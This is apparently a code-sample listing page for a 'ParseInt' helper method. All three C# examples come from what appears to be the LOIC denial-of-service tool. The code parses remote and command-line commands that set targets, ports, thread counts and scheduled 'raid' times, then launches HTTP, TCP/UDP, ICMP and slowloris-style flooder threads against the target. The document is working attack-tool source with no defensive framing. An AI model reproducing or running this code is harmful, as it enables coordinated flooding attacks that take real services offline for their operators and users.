ParseInt() public static method

public static ParseInt ( string str, int min, int max, int &value ) : bool
str string
min int
max int
value int
return bool
Example #1
0
        /// <summary>
        /// Decodes the commands and if necessary (re)starts the Attack.
        /// Works with the Captures from RegEx.
        /// </summary>
        /// <param name="cmds">the CaptureCollection containing a collection of commands</param>
        /// <param name="vals">the CaptureCollection containing a collection of values corresponding to the commands.</param>
        /// <returns>True if the commands were successfully loaded. False in case of any error.</returns>
        private bool parseOLUrlCmd(CaptureCollection cmds, CaptureCollection vals)
        {
            bool ret = false;

            if ((cmds.Count == vals.Count) && (cmds.Count > 0))
            {
                StringCollection defaults = new StringCollection();
                defaults.Add("targetip"); defaults.Add("targethost"); defaults.Add("timeout");
                defaults.Add("subsite"); defaults.Add("message"); defaults.Add("port");
                defaults.Add("method"); defaults.Add("threads"); defaults.Add("wait");
                defaults.Add("random"); defaults.Add("speed"); defaults.Add("sockspthread");
                defaults.Add("useget"); defaults.Add("usegzip");

                int    num     = 0;
                bool   isnum   = false;
                bool   restart = false;
                bool   ctdwndn = false;
                string tval    = "";
                string tcmd    = "";

                for (int i = 0; i < cmds.Count; i++)
                {
                    tval = vals[i].Value.Trim();
                    tcmd = cmds[i].Value.Trim();
                    defaults.Remove(tcmd);
                    switch (tcmd.ToLowerInvariant())
                    {
                    case "targetip":
                        if (txtTargetIP.Text != tval)
                        {
                            txtTargetIP.Text = tval;
                            LockOnIP(true);
                            restart = true;
                        }
                        ret = true;
                        break;

                    case "targethost":
                        if (txtTargetURL.Text != tval)
                        {
                            txtTargetURL.Text = tval;
                            LockOnURL(true);
                            restart = true;
                        }
                        ret = true;
                        break;

                    case "timeout":
                        isnum = int.TryParse(tval, out num);
                        if (isnum)
                        {
                            if (txtTimeout.Text != num.ToString())
                            {
                                txtTimeout.Text = num.ToString();
                                restart         = true;
                            }
                        }
                        break;

                    case "subsite":
                        tval = Uri.UnescapeDataString(tval);
                        if (txtSubsite.Text != tval)
                        {
                            txtSubsite.Text = tval;
                            restart         = true;
                        }
                        break;

                    case "message":
                        if (txtData.Text != tval)
                        {
                            txtData.Text = tval;
                            restart      = true;
                        }
                        break;

                    case "port":
                        if (txtPort.Text != tval)
                        {
                            txtPort.Text = tval;
                            restart      = true;
                        }
                        break;

                    case "method":
                        int index = cbMethod.FindString(tval);
                        if (index != -1)
                        {
                            if (cbMethod.SelectedIndex != index)
                            {
                                cbMethod.SelectedIndex = index;
                                restart = true;
                            }
                        }
                        break;

                    case "threads":
                        if (Functions.ParseInt(tval, 1, 99, out num))
                        {
                            if (txtThreads.Text != num.ToString())
                            {
                                txtThreads.Text = num.ToString();
                                if (cbMethod.SelectedIndex >= 3)
                                {
                                    restart = true;
                                }
                            }
                        }
                        break;

                    case "wait":
                        if (tval.ToLowerInvariant() == "true")
                        {
                            if (!chkWaitReply.Checked)
                            {
                                restart = true;
                            }
                            chkWaitReply.Checked = true;
                        }
                        else if (tval.ToLowerInvariant() == "false")
                        {
                            if (chkWaitReply.Checked)
                            {
                                restart = true;
                            }
                            chkWaitReply.Checked = false;
                        }
                        break;

                    case "random":
                        if (tval.ToLowerInvariant() == "true")
                        {
                            if (!chkRandom.Checked || !chkMsgRandom.Checked)
                            {
                                restart = true;
                            }
                            chkRandom.Checked    = true;                                  //HTTP
                            chkMsgRandom.Checked = true;                                  //TCP_UDP
                        }
                        else if (tval.ToLowerInvariant() == "false")
                        {
                            if (chkRandom.Checked || chkMsgRandom.Checked)
                            {
                                restart = true;
                            }
                            chkRandom.Checked    = false;                                  //HTTP
                            chkMsgRandom.Checked = false;                                  //TCP_UDP
                        }
                        break;

                    case "speed":
                        if (Functions.ParseInt(tval, tbSpeed.Minimum, tbSpeed.Maximum, out num))
                        {
                            if (tbSpeed.Value != num)
                            {
                                tbSpeed.Value = num;
                                restart       = true;
                            }
                        }
                        break;

                    case "time":                             // might be not a bad idea to include a NTP-lookup before this?
                        System.Globalization.CultureInfo ci = System.Globalization.CultureInfo.CurrentCulture;
                        DateTime dtGo  = DateTime.Parse(tval, ci.DateTimeFormat, System.Globalization.DateTimeStyles.AssumeUniversal);
                        DateTime dtNow = DateTime.UtcNow;
                        long     tdiff = dtGo.Ticks - dtNow.Ticks;
                        tdiff /= TimeSpan.TicksPerMillisecond;
                        ret    = true;
                        tZergRush.Stop();
                        if (tdiff > 0)
                        {
                            tZergRush.Interval = (int)tdiff;
                            tZergRush.Start();
                            this.Text = String.Format("{0} | U dun goofed | v. {1} | Next Raid: {2}", Application.ProductName, Application.ProductVersion, dtGo.ToString("MM-dd HH:mm"));
                            restart   = true;
                        }
                        else
                        {
                            ctdwndn   = true;
                            this.Text = String.Format("{0} | U dun goofed | v. {1}", Application.ProductName, Application.ProductVersion);
                        }
                        ret = true;
                        break;

                    case "useget":
                        if (tval.ToLowerInvariant() == "true")
                        {
                            chkUseGet.Checked = true;
                        }
                        else if (tval.ToLowerInvariant() == "false")
                        {
                            chkUseGet.Checked = false;
                        }
                        break;

                    case "usegzip":
                        if (tval.ToLowerInvariant() == "true")
                        {
                            chkAllowGzip.Checked = true;
                        }
                        else if (tval.ToLowerInvariant() == "false")
                        {
                            chkAllowGzip.Checked = false;
                        }
                        break;

                    case "sockspthread":
                        if (Functions.ParseInt(tval, 1, 99, out num))
                        {
                            txtSLSpT.Text = num.ToString();
                        }
                        break;
                    }
                }
                // let's reset the other values -.-
                for (int i = 0; i < defaults.Count; i++)
                {
                    switch (defaults[i])
                    {
                    case "targetip":
                        txtTargetIP.Text = "";
                        break;

                    case "targethost":
                        txtTargetURL.Text = "";
                        break;

                    case "timeout":
                        txtTimeout.Text = "30";
                        break;

                    case "subsite":
                        txtSubsite.Text = "/";
                        break;

                    case "message":
                        txtData.Text = "U dun goofed";
                        break;

                    case "port":
                        txtPort.Text = "80";
                        break;

                    case "method":
                        int index = cbMethod.FindString("TCP");
                        if (index != -1)
                        {
                            cbMethod.SelectedIndex = index;
                        }
                        break;

                    case "threads":
                        txtThreads.Text = "10";
                        break;

                    case "wait":
                        chkWaitReply.Checked = true;
                        break;

                    case "random":
                        chkRandom.Checked    = false;
                        chkMsgRandom.Checked = false;
                        break;

                    case "speed":
                        tbSpeed.Value = 0;
                        break;

                    case "sockspthread":
                        txtSLSpT.Text = "25";
                        break;

                    case "useget":
                        chkUseGet.Checked = false;
                        break;

                    case "usegzip":
                        chkAllowGzip.Checked = false;
                        break;
                    }
                }
                if (restart)
                {
                    Attack(false, false, true);
                    if (!tZergRush.Enabled)
                    {
                        Attack(false, true, true);
                    }
                }
                else if (ctdwndn && (cmdAttack.Text == AttackText))
                {
                    Attack(false, true, true);
                }
                if (!tZergRush.Enabled)
                {
                    this.Text = String.Format("{0} | U dun goofed | v. {1}", Application.ProductName, Application.ProductVersion);
                }
            }
            return(ret);
        }
Example #2
0
        /// <summary>
        /// Attack the specified target
        /// </summary>
        /// <param name="toggle">Whether to toggle.</param>
        /// <param name="on">Whether the attack should start.</param>
        /// <param name="silent">Whether to silence error output.</param>
        private void Attack(bool toggle, bool on, bool silent = false)
        {
            if ((cmdAttack.Text == AttackText && toggle) || (!toggle && on))
            {
                try
                {
                    // Protect against race condition
                    if (tShowStats.Enabled)
                    {
                        tShowStats.Stop();
                    }

                    if (!Functions.ParseInt(txtPort.Text, 0, 65535, out iPort))
                    {
                        HandleError("Invalid port.", silent);
                        return;
                    }
                    if (!Functions.ParseInt(txtThreads.Text, 1, (bKonami ? 1337 : 99), out iThreads))
                    {
                        HandleError("Too many threads!  Lower than 100, please.", silent);
                        return;
                    }

                    sTargetIP = txtTarget.Text;
                    if (String.IsNullOrEmpty(sTargetIP) || String.IsNullOrEmpty(sTargetHost) || String.Equals(sTargetIP, "N O N E !"))
                    {
                        throw new Exception("Select a target.");
                    }

                    sMethod  = cbMethod.Text;
                    protocol = Protocol.None;
                    try {
                        protocol = (Protocol)Enum.Parse(typeof(Protocol), sMethod, true);
                        // Analysis disable once EmptyGeneralCatchClause
                    } catch { }
                    if (protocol == Protocol.None)
                    {
                        HandleError("Select a proper attack method.", silent);
                        return;
                    }

                    sData = txtData.Text.Replace(@"\r", "\r").Replace(@"\n", "\n");
                    if (String.IsNullOrEmpty(sData) && (protocol == Protocol.TCP || protocol == Protocol.UDP))
                    {
                        HandleError("No contents specified.", silent);
                        return;
                    }

                    sSubsite = txtSubsite.Text;
                    if (!sSubsite.StartsWith("/") && (int)protocol >= (int)Protocol.HTTP && (int)protocol != (int)Protocol.ICMP)
                    {
                        HandleError("You have to enter a subsite (for example \"/\")", silent);
                        return;
                    }

                    if (!int.TryParse(txtTimeout.Text, out iTimeout) || iTimeout < 1)
                    {
                        HandleError("Invalid number in timeout box.", silent);
                        return;
                    }
                    if (iTimeout > 999)
                    {
                        iTimeout        = 30;
                        txtTimeout.Text = "30";
                    }

                    bResp = chkWaitReply.Checked;

                    if (protocol == Protocol.slowLOIC || protocol == Protocol.ReCoil || protocol == Protocol.ICMP)
                    {
                        if (!int.TryParse(txtSLSpT.Text, out iSockspThread) || iSockspThread < 1)
                        {
                            throw new Exception("Please enter a number.");
                        }
                    }
                }
                catch (Exception ex)
                {
                    HandleError(ex.Message, silent);
                    return;
                }

                cmdAttack.Text = StpFldText;
                //let's lock down the controls, that could actually change the creation of new sockets
                chkAllowGzip.Enabled = false;
                chkUseGet.Enabled    = false;
                chkMsgRandom.Enabled = false;
                chkRandom.Enabled    = false;
                cbMethod.Enabled     = false;
                chkWaitReply.Enabled = false;
                txtSLSpT.Enabled     = false;

                if (arr.Count > 0)
                {
                    foreach (IFlooder i in arr)
                    {
                        i.Stop();
                        i.IsFlooding = false;
                    }
                    arr.Clear();
                }

                for (int i = 0; i < iThreads; i++)
                {
                    IFlooder ts = null;

                    switch (protocol)
                    {
                    case Protocol.ReCoil:
                        ts = new ReCoil(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, bResp, iSockspThread, chkAllowGzip.Checked);
                        break;

                    case Protocol.slowLOIC:
                        ts = new SlowLoic(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, iSockspThread, true, chkUseGet.Checked, chkAllowGzip.Checked);
                        break;

                    case Protocol.HTTP:
                        ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
                        break;

                    case Protocol.TCP:
                    case Protocol.UDP:
                        ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked);
                        break;

                    case Protocol.ICMP:
                        ts = new ICMP(sTargetIP, iDelay, chkMsgRandom.Checked, iSockspThread);
                        break;
                    }

                    if (ts != null)
                    {
                        ts.Start();
                        arr.Add(ts);
                    }
                }

                tShowStats.Start();
            }
            else if (toggle || !on)
            {
                cmdAttack.Text       = AttackText;
                chkAllowGzip.Enabled = true;
                chkUseGet.Enabled    = true;
                chkMsgRandom.Enabled = true;
                chkRandom.Enabled    = true;
                cbMethod.Enabled     = true;
                chkWaitReply.Enabled = true;
                txtSLSpT.Enabled     = true;

                if (arr != null && arr.Count > 0)
                {
                    foreach (IFlooder i in arr)
                    {
                        i.Stop();
                        i.IsFlooding = false;
                    }
                }
            }
        }
Example #3
0
        /// <summary>
        /// Checks the parameters.
        /// </summary>
        /// <param name="pars">Pars.</param>
        void CheckParams(List <string> pars)
        {
            Attack(false, false, true);

            foreach (string param in pars)
            {
                string[] sp = param.Split(new char[] { '=' }, 2, StringSplitOptions.RemoveEmptyEntries);
                if (sp.Length == 2)
                {
                    string cmd   = sp[0];
                    string value = sp[1];

                    int num;
                    switch (cmd.ToLowerInvariant())
                    {
                    case "targetip":
                        txtTargetIP.Text = value;
                        LockOnIP(true);
                        break;

                    case "targethost":
                        txtTargetURL.Text = value;
                        LockOnURL(true);
                        break;

                    case "timeout":
                        if (int.TryParse(value, out num) && num >= 1)
                        {
                            txtTimeout.Text = num.ToString();
                        }
                        break;

                    case "subsite":
                        txtSubsite.Text = Uri.UnescapeDataString(value);
                        break;

                    case "message":
                        txtData.Text = Uri.UnescapeDataString(value);
                        break;

                    case "port":
                        if (Functions.ParseInt(value, 0, 65535, out num))
                        {
                            txtPort.Text = num.ToString();
                        }
                        break;

                    case "method":
                        int index = cbMethod.FindString(value);
                        if (index != -1)
                        {
                            cbMethod.SelectedIndex = index;
                        }
                        break;

                    case "threads":
                        if (Functions.ParseInt(value, 1, 99, out num))
                        {
                            txtThreads.Text = num.ToString();
                        }
                        break;

                    case "wait":
                        if (value.ToLowerInvariant() == "true")
                        {
                            chkWaitReply.Checked = true;
                        }
                        else if (value.ToLowerInvariant() == "false")
                        {
                            chkWaitReply.Checked = false;
                        }
                        break;

                    case "random":
                        if (value.ToLowerInvariant() == "true")
                        {
                            chkRandom.Checked    = true;                                  //HTTP
                            chkMsgRandom.Checked = true;                                  //TCP_UDP
                        }
                        else if (value.ToLowerInvariant() == "false")
                        {
                            chkRandom.Checked    = false;                                  //HTTP
                            chkMsgRandom.Checked = false;                                  //TCP_UDP
                        }
                        break;

                    case "speed":
                        if (Functions.ParseInt(value, tbSpeed.Minimum, tbSpeed.Maximum, out num))
                        {
                            tbSpeed.Value = num;
                        }
                        break;

                    case "useget":
                        if (value.ToLowerInvariant() == "true")
                        {
                            chkUseGet.Checked = true;
                        }
                        else if (value.ToLowerInvariant() == "false")
                        {
                            chkUseGet.Checked = false;
                        }
                        break;

                    case "gzip":
                    case "usegzip":
                        if (value.ToLowerInvariant() == "true")
                        {
                            chkAllowGzip.Checked = true;
                        }
                        else if (value.ToLowerInvariant() == "false")
                        {
                            chkAllowGzip.Checked = false;
                        }
                        break;

                    case "sockspthread":
                        if (Functions.ParseInt(value, 1, 99, out num))
                        {
                            txtSLSpT.Text = num.ToString();
                        }
                        break;
                    }
                }
                else
                {
                    if (sp[0].ToLowerInvariant() == "start")
                    {
                        Attack(false, true, true);
                        return;
                    }
                    else if (sp[0].ToLowerInvariant() == "default")
                    {
                        txtTargetIP.Text  = "";
                        txtTargetURL.Text = "";
                        txtTimeout.Text   = "30";
                        txtSubsite.Text   = "/";
                        txtData.Text      = "Invalid";
                        txtPort.Text      = "80";
                        int index = cbMethod.FindString("TCP");
                        if (index != -1)
                        {
                            cbMethod.SelectedIndex = index;
                        }
                        txtThreads.Text      = "10";
                        chkWaitReply.Checked = true;
                        chkRandom.Checked    = false;
                        chkMsgRandom.Checked = false;
                        tbSpeed.Value        = 0;
                        txtSLSpT.Text        = "25";
                        chkAllowGzip.Checked = false;
                        chkUseGet.Checked    = false;
                    }
                }
            }
        }